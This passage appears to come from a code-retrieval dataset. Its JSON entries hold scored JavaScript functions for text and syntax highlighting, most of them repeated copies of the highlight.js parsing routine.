Markdown\n // score.\n\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += top.subLanguage != null ? processSubLanguage() : processKeywords();\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className ? buildSpan(mode.className, '', true) : '';\n top = Object.create(mode, {\n parent: {\n value: top\n }\n });\n }\n\n function processLexeme(buffer, lexeme) {\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n\n processBuffer();\n\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n\n if (end_mode) {\n var origin = top;\n\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n\n processBuffer();\n\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n\n do {\n if (top.className) {\n result += spanEndTag;\n }\n\n if (!top.skip && !top.subLanguage) {\n relevance += top.relevance;\n }\n\n top = top.parent;\n } while (top !== end_mode.parent);\n\n if (end_mode.starts) {\n if (end_mode.endSameAsBegin) {\n end_mode.starts.endRe = end_mode.endRe;\n }\n\n startNewMode(end_mode.starts, '');\n }\n\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top)) throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n\n var result = '',\n current;\n\n for (current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n\n var mode_buffer = '';\n var relevance = 0;\n\n try {\n var match,\n count,\n index = 0;\n\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match) break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n\n processLexeme(value.substr(index));\n\n for (current = top; current.parent; current = current.parent) {\n // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "3ae9864c4d2ad35c0443195b02c5da60", "score": "0.540096", "text": "function confirm_highlight(index) {\n // first clear previous highlighting\n clear_highlight()\n // apply confirmation highlighting\n links[index].style.border = '10px solid #000'\n links[index].animate([\n // keyframes\n { borderColor: '#0F0' },\n { borderColor: '#000' }\n ], {\n // timing\n duration: 3000,\n iterations: 1,\n easing: 'ease-in',\n fillMode: 'forwards'\n }) \n}", "title": "" }, { "docid": "ad4cd8a0ae7f1a66434648b648b61e73", "score": "0.5400691", "text": "function highlightText(/*search string*/text, /*object in storage*/obj){\n var innerHTML;\n var node;\n\n node = $(obj.domNode);\n\n var replaceNode = $(node).find('[data-point=\"name\"]')[0];\n\n /**\n * here we checks if changes to the node with name were made\n * and if they were - simply rewind them\n * to make innerHTML default\n */\n if(obj['baseNode']) {\n replaceNode.innerHTML = obj['baseNode']\n innerHTML = replaceNode.innerHTML;\n }\n else {\n innerHTML = replaceNode.innerHTML;\n obj['baseNode'] = innerHTML\n }\n\n var toLCinnerHTML = innerHTML.toLowerCase();\n var toLCtext = text.toLowerCase();\n\n /**\n * just checking if search query is in our node\n * if it does, simply wrap our peace of text with span\n */\n var index = toLCinnerHTML.indexOf(toLCtext);\n if ( index >= 0)\n {\n innerHTML = innerHTML.substring(0,index) +\n \"<span class='highlight'>\" +\n innerHTML.substring(index,index+text.length) +\n \"</span>\" +\n innerHTML.substring(index + text.length);\n\n replaceNode.innerHTML = innerHTML\n if(text) {\n rotate(node,1,rotate)\n }\n }\n }", "title": "" }, { "docid": "0f9bb34a0b5cdf2b18b9cff089151c0b", "score": "0.53963006", "text": "function highlight(props){\n //change stroke\n var selected = d3.selectAll(\".\" + props.adm1_code)\n .style(\"stroke\", \"blue\")\n .style(\"stroke-width\", \"2\");\n \n setLabel(props)\n}", "title": "" }, { "docid": "2b801505fcf6ea17a32db9ec2650739d", "score": "0.53933287", "text": "function highlight() {\ndocument.querySelectorAll( '.codeBox' ).forEach (block => {\n hljs.highlightBlock( block );\n});\nhljs.highlightAll();\n}", "title": "" }, { "docid": "1c72ce95ff8bc8af8612fd36f3cd6fc8", "score": "0.5387077", "text": "function highlightSentence(html, color) {\n\t\t\t return (html.replace(/(<[a-z]+[^<]*>)*(\\S+)([\\s+]|$)(<[a-z]+[^<]*>)*/g, \"$1<span style='background-color:\" + color + \";' class='highlightSentence'>$2$3</span>$4\"));\n\t\t }", "title": "" }, { "docid": "7222057d9e05259bea3df5085ed768b8", "score": "0.53827363", "text": "function highlightNav() {\n\t\t\tvar pageTitle,\n\t\t\t\tpageID,\n\t\t\t\thelpLinkNode;\n\n\t\t\tif (window.location.href.indexOf('xcc') >= 0) {\n\t\t\t\tpageTitle = XCC.S.container.title;\n\t\t\t\tpageID = XCC.S.page;\n\t\t\t\thelpLinkNode = document.getElementById('headerHelpHref');\n\n\t\t\t\tif (pageID.split('-')[0] === 'start') {\n\t\t\t\t\tdocument.getElementById('lotusLogo').className += ' currentPage';\n\t\t\t\t}\n\t\t\t\telse if (helpLinkNode.href.indexOf(pageID) == helpLinkNode.href.length - pageID.length){\n\t\t\t\t\t// the currently highlighted page is the help page\n\t\t\t\t\thelpLinkNode.classList.add(\"currentPage\");\n\t\t\t\t} else {\n\t\t\t\t\tfindNavEntry(pageTitle);\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "4b7d73a725c1419097f4295022779057", "score": "0.5376294", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag;\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords) return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ? highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) : highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += top.subLanguage != null ? processSubLanguage() : processKeywords();\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className ? buildSpan(mode.className, '', true) : '';\n top = Object.create(mode, { parent: { value: top } });\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top)) throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '',\n current;\n for (current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match,\n count,\n index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match) break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for (current = top; current.parent; current = current.parent) {\n // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "4b7d73a725c1419097f4295022779057", "score": "0.5376294", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag;\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords) return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ? highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) : highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += top.subLanguage != null ? processSubLanguage() : processKeywords();\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className ? buildSpan(mode.className, '', true) : '';\n top = Object.create(mode, { parent: { value: top } });\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top)) throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '',\n current;\n for (current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match,\n count,\n index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match) break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for (current = top; current.parent; current = current.parent) {\n // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "e2b4a77553de849d7b4ff2063de6e345", "score": "0.53688264", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substr(last_index, match.index - last_index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substr(index, match.index - index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "18475f0f47337818eb973a69cf388e34", "score": "0.53686225", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if (new_mode.excludeBegin) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (!new_mode.returnBegin && !new_mode.excludeBegin) {\n mode_buffer = lexeme;\n }\n }\n startNewMode(new_mode, lexeme);\n return new_mode.returnBegin ? 0 : lexeme.length;\n }\n\n var end_mode = endOfMode(top, lexeme);\n if (end_mode) {\n var origin = top;\n if (origin.skip) {\n mode_buffer += lexeme;\n } else {\n if (!(origin.returnEnd || origin.excludeEnd)) {\n mode_buffer += lexeme;\n }\n processBuffer();\n if (origin.excludeEnd) {\n mode_buffer = lexeme;\n }\n }\n do {\n if (top.className) {\n result += spanEndTag;\n }\n if (!top.skip) {\n relevance += top.relevance;\n }\n top = top.parent;\n } while (top !== end_mode.parent);\n if (end_mode.starts) {\n startNewMode(end_mode.starts, '');\n }\n return origin.returnEnd ? 0 : lexeme.length;\n }\n\n if (isIllegal(lexeme, top))\n throw new Error('Illegal lexeme \"' + lexeme + '\" for mode \"' + (top.className || '<unnamed>') + '\"');\n\n /*\n Parser should not reach this point as all types of lexemes should be caught\n earlier, but if it does due to some bug make sure it advances at least one\n character forward to prevent infinite looping.\n */\n mode_buffer += lexeme;\n return lexeme.length || 1;\n }\n\n var language = getLanguage(name);\n if (!language) {\n throw new Error('Unknown language: \"' + name + '\"');\n }\n\n compileLanguage(language);\n var top = continuation || language;\n var continuations = {}; // keep continuations for sub-languages\n var result = '', current;\n for(current = top; current !== language; current = current.parent) {\n if (current.className) {\n result = buildSpan(current.className, '', true) + result;\n }\n }\n var mode_buffer = '';\n var relevance = 0;\n try {\n var match, count, index = 0;\n while (true) {\n top.terminators.lastIndex = index;\n match = top.terminators.exec(value);\n if (!match)\n break;\n count = processLexeme(value.substring(index, match.index), match[0]);\n index = match.index + count;\n }\n processLexeme(value.substr(index));\n for(current = top; current.parent; current = current.parent) { // close dangling modes\n if (current.className) {\n result += spanEndTag;\n }\n }\n return {\n relevance: relevance,\n value: result,\n language: name,\n top: top\n };\n } catch (e) {\n if (e.message && e.message.indexOf('Illegal') !== -1) {\n return {\n relevance: 0,\n value: escape(value)\n };\n } else {\n throw e;\n }\n }\n }", "title": "" }, { "docid": "18475f0f47337818eb973a69cf388e34", "score": "0.53686225", "text": "function highlight(name, value, ignore_illegals, continuation) {\n\n function subMode(lexeme, mode) {\n var i, length;\n\n for (i = 0, length = mode.contains.length; i < length; i++) {\n if (testRe(mode.contains[i].beginRe, lexeme)) {\n return mode.contains[i];\n }\n }\n }\n\n function endOfMode(mode, lexeme) {\n if (testRe(mode.endRe, lexeme)) {\n while (mode.endsParent && mode.parent) {\n mode = mode.parent;\n }\n return mode;\n }\n if (mode.endsWithParent) {\n return endOfMode(mode.parent, lexeme);\n }\n }\n\n function isIllegal(lexeme, mode) {\n return !ignore_illegals && testRe(mode.illegalRe, lexeme);\n }\n\n function keywordMatch(mode, match) {\n var match_str = language.case_insensitive ? match[0].toLowerCase() : match[0];\n return mode.keywords.hasOwnProperty(match_str) && mode.keywords[match_str];\n }\n\n function buildSpan(classname, insideSpan, leaveOpen, noPrefix) {\n var classPrefix = noPrefix ? '' : options.classPrefix,\n openSpan = '<span class=\"' + classPrefix,\n closeSpan = leaveOpen ? '' : spanEndTag\n\n openSpan += classname + '\">';\n\n return openSpan + insideSpan + closeSpan;\n }\n\n function processKeywords() {\n var keyword_match, last_index, match, result;\n\n if (!top.keywords)\n return escape(mode_buffer);\n\n result = '';\n last_index = 0;\n top.lexemesRe.lastIndex = 0;\n match = top.lexemesRe.exec(mode_buffer);\n\n while (match) {\n result += escape(mode_buffer.substring(last_index, match.index));\n keyword_match = keywordMatch(top, match);\n if (keyword_match) {\n relevance += keyword_match[1];\n result += buildSpan(keyword_match[0], escape(match[0]));\n } else {\n result += escape(match[0]);\n }\n last_index = top.lexemesRe.lastIndex;\n match = top.lexemesRe.exec(mode_buffer);\n }\n return result + escape(mode_buffer.substr(last_index));\n }\n\n function processSubLanguage() {\n var explicit = typeof top.subLanguage === 'string';\n if (explicit && !languages[top.subLanguage]) {\n return escape(mode_buffer);\n }\n\n var result = explicit ?\n highlight(top.subLanguage, mode_buffer, true, continuations[top.subLanguage]) :\n highlightAuto(mode_buffer, top.subLanguage.length ? top.subLanguage : undefined);\n\n // Counting embedded language score towards the host language may be disabled\n // with zeroing the containing mode relevance. Usecase in point is Markdown that\n // allows XML everywhere and makes every XML snippet to have a much larger Markdown\n // score.\n if (top.relevance > 0) {\n relevance += result.relevance;\n }\n if (explicit) {\n continuations[top.subLanguage] = result.top;\n }\n return buildSpan(result.language, result.value, false, true);\n }\n\n function processBuffer() {\n result += (top.subLanguage != null ? processSubLanguage() : processKeywords());\n mode_buffer = '';\n }\n\n function startNewMode(mode) {\n result += mode.className? buildSpan(mode.className, '', true): '';\n top = Object.create(mode, {parent: {value: top}});\n }\n\n function processLexeme(buffer, lexeme) {\n\n mode_buffer += buffer;\n\n if (lexeme == null) {\n processBuffer();\n return 0;\n }\n\n var new_mode = subMode(lexeme, top);\n if (new_mode) {\n if (new_mode.skip) {\n mode_buffer += lexeme;\n } else {\n if 